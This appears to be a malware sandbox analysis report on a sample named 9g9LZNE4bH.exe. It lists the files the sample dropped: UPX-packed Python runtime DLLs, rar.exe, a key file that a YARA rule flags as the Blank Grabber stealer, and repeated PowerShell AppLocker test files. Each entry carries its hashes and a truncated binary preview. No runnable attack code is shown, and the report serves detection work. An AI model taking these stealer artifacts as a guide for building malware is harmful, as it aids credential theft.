SHA-512:	5480F7E8DA8C535B2622B1EB88AC39EB5DDF64D3D973966655E01268CA5278E0813A93CADEA634F92BC39688975D5A21CC97B7A4A0D13C6D7FE774C2BA942DDD
Malicious:	false
Preview:	PK........8)$Z...............stub-o.pyc..........xg*I........................j.......e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.................................................................

C:\Users\user\AppData\Local\Temp\_MEI61762\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1107800
Entropy (8bit):	7.937980722134978
Encrypted:	false
SSDEEP:	24576:PwE/QASFe309yYRrVcjz8suN+2r7qL18D+/81CPwDv3uFfJm:4QBkIYPcnY/qR8DU81CPwDv3uFfJm
MD5:	E5AECAF59C67D6DD7C7979DFB49ED3B0
SHA1:	B0A292065E1B3875F015277B90D183B875451450
SHA-256:	9D2257D0DE8172BCC8F2DBA431EB91BD5B8AC5A9CBE998F1DCAC0FAC818800B1
SHA-512:	145EAA969A1A14686AB99E84841B0998CF1F726709CCD177ACFB751D0DB9AA70006087A13BF3693BC0B57A0295A48C631D0B80C52472C97EBE88BE5C528022B4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............H...H...H..#H...H..I...H..I...H..I...H..I...H...H"..Hn.I...H..I...H..I..H..I...H..OH...H..I...HRich...H........PE..d...'{.c.........." ..."..........&. 25...&..................................P7...........`......................................... H5......C5.h....@5......`2.............H7.....................................8>5.@...........................................UPX0......&.............................UPX1..........&.....................@....rsrc........@5.....................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28504
Entropy (8bit):	7.670252824661268
Encrypted:	false
SSDEEP:	768:tp/6aepjG56w24apnpiYiSyvOPxWESW7t:HA154ypi7SymPxlp
MD5:	87786718F8C46D4B870F46BCB9DF7499
SHA1:	A63098AABE72A3ED58DEF0B59F5671F2FD58650B
SHA-256:	1928574A8263D2C8C17DF70291F26477A1E5E8B3B9AB4C4FF301F3BC5CE5CA33
SHA-512:	3ABF0A3448709DA6B196FE9238615D9D0800051786C9691F7949ABB3E41DFB5BDAF4380A620E72E1DF9E780F9F34E31CAAD756D2A69CAD894E9692AA161BE9F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.r...........................Y...........;....................................................Rich............PE..d....-c.........." ...!.@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	208224
Entropy (8bit):	7.926130736334921
Encrypted:	false
SSDEEP:	6144:dkqFpMp50kT4+NfKM8oaRdGYRNXzpAWX:dvFeH0+bSM8oaRHN
MD5:	7BCB0F97635B91097398FD1B7410B3BC
SHA1:	7D4FC6B820C465D46F934A5610BC215263EE6D3E
SHA-256:	ABE8267F399A803224A1F3C737BCA14DEE2166BA43C1221950E2FBCE1314479E
SHA-512:	835BAB65D00884912307694C36066528E7B21F3B6E7A1B9C90D4DA385334388AF24540B9D7A9171E89A4802612A8B6523C77F4752C052BF47ADBD6839BC4B92C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q&..5Gq.5Gq.5Gq.<?.9Gq.z;p.7Gq..5p.7Gq.z;t.9Gq.z;u.=Gq.z;r.1Gq..;p.6Gq.5Gp..Fq..;u..Gq..;q.4Gq..;..4Gq..;s.4Gq.Rich5Gq.........PE..d...O{.c.........." ...".....P...`.......p................................................`..........................................6..4@...3.......0...........N...........v.......................................&..@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc....P...0...H..................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\python311.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1703192
Entropy (8bit):	7.99345904201227
Encrypted:	true
SSDEEP:	49152:WPriKJ8yzQEPulEmHpCI0oykGS7i97GZoZwwH:WTnJ9dP4pCwGS7ca
MD5:	1E76961CA11F929E4213FCA8272D0194
SHA1:	E52763B7BA970C3B14554065F8C2404112F53596
SHA-256:	8A0C27F9E5B2EFD54E41D7E7067D7CB1C6D23BAE5229F6D750F89568566227B0
SHA-512:	EC6ED913E0142A98CD7F6ADCED5671334EC6545E583284AE10627162B199E55867D7CF28EFEAADCE9862C978B01C234A850288E529D2D3E2AC7DBBB99C6CDE9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.K..K..K....+.I......E..../.G......C....).O..B..Q....+.@..K.+.....'.....J.....J...(.J..RichK.*.........................PE..d....~.c.........." ..."..........D...]...D...................................^...........`.........................................H.].......].......].......V.@0...........^......................................].@...........................................UPX0......D.............................UPX1..........D.....................@....rsrc.........].....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI61762\select.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.437601223014864
Encrypted:	false
SSDEEP:	768:GjW1JCOzGpJbNIJQG4t5YiSyvxPxWEUn:GjW1UOzcbNIJQG4z7SypPx
MD5:	938C814CC992FE0BA83C6F0C78D93D3F
SHA1:	E7C97E733826E53FF5F1317B947BB3EF76ADB520
SHA-256:	9C9B62C84C2373BA509C42ADBCA01AD184CD525A81CCBCC92991E0F84735696E
SHA-512:	2F175F575E49DE4B8B820171565AEDB7474D52AE9914E0A541D994FF9FEA38971DD5A34EE30CC570920B8618393FC40AB08699AF731005542E02A6A0095691F0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t..t'..t'..t'..'..t'..u&..t'..q&..t'..p&..t'..w&..t'/.u&..t'..u'..t'..u&..t'/.y&..t'/.t&..t'/..'..t'/.v&..t'Rich..t'................PE..d....~.c.........." ...".0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	622352
Entropy (8bit):	7.993428024023682
Encrypted:	true
SSDEEP:	12288:jcQhjMZ2NosDnfPgxpVDnL9+pkqVtb6pS6cVgvva/lVpsFEL7:jcac29DnHgxXnL9+Hd6pSlqa/so7
MD5:	ABE8EEC6B8876DDAD5A7D60640664F40
SHA1:	0B3B948A1A29548A73AAF8D8148AB97616210473
SHA-256:	26FC80633494181388CF382F417389C59C28E9FFEDDE8C391D95EDDB6840B20D
SHA-512:	DE978D97C04BAD9EBB3F423210CBCB1B78A07C21DAADC5C166E00206ECE8DCD7BAAC1D67C84923C9CC79C8B9DFBEC719CE7B5F17343A069527BBA1A4D0454C29
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0;..QU..QU..QU..)..QU..-T..QU..-P..QU..-Q..QU..-V..QU..)T..QU..QT.RQU..-]..QU..-U..QU..-...QU..-W..QU.Rich.QU.........PE..d......c.........." ...". ...0............................................................`.............................................d"......................D...........x...........................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc....0..........."..............@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI61762\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\9g9LZNE4bH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302872
Entropy (8bit):	7.986888079278574
Encrypted:	false
SSDEEP:	6144:Vk/Qvs7yfQJYx4x9UVqHDMDNCStEQc5YmDp9Kio:VkUfQJbUV2MhCwEQc5Np9zo
MD5:	908E8C719267692DE04434AB9527F16E
SHA1:	5657DEF35FBD3E5E088853F805EDDD6B7B2B3CE9
SHA-256:	4337D02A4B24467A48B37F1CCBCEBD1476FF10BDB6511FBB80030BBE45A25239
SHA-512:	4F9912803F1FA9F8A376F56E40A6608A0B398915B346D50B6539737F9B75D8E9A905BEB5AACE5FE69BA8847D815C600EB20330E79A2492168735B5CFDCEFF39A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t.t.t.}...r.;...v.;...y.;...\|.;...w.....w.?...v.t.%.....u.....u...y.u.....u.Richt.........................PE..d....~.c.........." ...".`.......@.......P................................................`.............................................X....................P..0.......................................................@...........................................UPX0.....@..............................UPX1.....`...P...^..................@....rsrc................b..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hjbsahr.pej.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xwlonmx.qmd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20c5lpbg.g1f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2i24po3r.pxy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awo1d4qz.oqn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csa0ztdl.ojv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxtorsl1.hnb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fklturrz.2b4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjvqvghh.he2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4eohyps.vt3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ignvbpfu.vjh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jshf0xnp.e13.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5sl3url.0bt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_orc12pa4.0qo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_orvmkshe.l1i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prqygdg3.you.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_puofiyvk.2ah.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q4bsip3y.0gk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcrx2hs0.mp3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgyksmoh.sfd.ps1

Download File

